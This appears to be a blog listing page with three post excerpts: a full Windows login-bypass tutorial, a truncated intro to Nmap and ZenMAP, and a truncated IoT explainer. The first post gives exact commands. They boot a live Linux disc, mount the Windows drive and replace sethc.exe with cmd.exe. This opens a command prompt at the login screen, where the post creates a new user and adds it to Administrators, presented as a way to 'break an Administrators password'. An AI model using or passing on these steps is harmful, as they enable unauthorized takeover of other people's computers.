Windows Hacking

Here we’ll learn how to break an Administrators password or to create an account without knowing the Administrator password.
We need a backtrack CD
What we’ll do here is, we will change the sticky key file “sethc.exe” file name to “cmd.exe” file so that if we will press the shift button 5 times on the login screen the command prompt will come up. Once the command prompt displayed we can make a user through command and can give the Administrators rights to him.
Steps:
1. Insert the CD in CD-ROM
Live boot the system through the backtrack O/S, Select the boot priority by pressing F12 CD/DVD
After the machine will boot if it will ask you for the login, then the
Username = Root
Password = toor
Type “startx” to change CLI to GUI
Once you come to the GUI
2. Open a Terminal
Type:#fdisk –l (To check the free disk)
3. #mkdir /mnt/cdrive (To make a directory to mount the cdrive, you can use any name here it is just a folder name)
4. #mount –t ntfs /dev/sda2 /mnt/cdrive (Mount the C drive i.e. /dev/sda2 in cdrive folder)

5. #cd /mnt/cdrive (To change the directory/ to open the directory)
6. #cd /Windows/Sytem32 (To see the System 32 folder)
7. #ls –l (To get the list of the files in System 32 folder)
8. #cp sethc.exe sethcbk.up (To take the Backup of the sethc.exe file)
9. #cp cmd.exe sethc.exe (To rename the file name)
10. Now restart the system #init 6 / reboot
You can eject the CD now
Now you’ve the windows login screen in front of you.
11. Press “shift key” 5 times
It will show you the command prompt now, make the user.
12. #net user username password /add
Now you’ve the user, you need to give Administrators right.
13: #net localgroup Administrators /add username
Restart the system now and Login with the new user!!
You will notice that you have the administrative rights now. AWESOME !!!

NMAP and ZenMAP

NMAP and ZenMAP are useful tools for the scanning phase of Ethical Hacking in Kali Linux. NMAP and ZenMAP are practically the same tool, however NMAP uses command line while ZenMAP has a GUI. NMAP is a free utility tool for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. NMAP uses raw IP packets in novel ways to determine which hosts are available on the network, what services (application name and version) those hosts are offering, which operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, etc. Now, let’s go step by step and learn how to use NMAP and ZenMAP. Step 1 − To open, go to Applications → 01-Information Gathering → nmap or zenmap. Step 2 − The next step is to detect the OS type/version of the target host. Based on the help indicat...

Internet Of Things -IOT

Hey there! Have you heard of IoT? Yes the most popular thing in industry. If not, it is Internet of Things. Do you use smart watches or have you heard about smart city, smart house, these are the practical application of IoT. Didn’t get it?If you just Google “what is IoT?”, you will get a technical answer: “The Internet of Things (IoT) is a system of interrelated computing devices, mechanical and digital machines, objects, animals or people that are provided with unique identifiers and the ability to transfer data over a network without requiring human-to-human or human-to-computer interaction.”  Simply, The Internet of Things, or IoT, refers to the billions of physical devices around the world that are now connected to the internet, collecting and sharing data. Now you’ll ask me “Okay, but why is it so much important?”. Today majority of devices works on sensors but sensors will not live forever. In other words, cheap sensors are not going to be 100% reliable, 100% of the time. Ph...
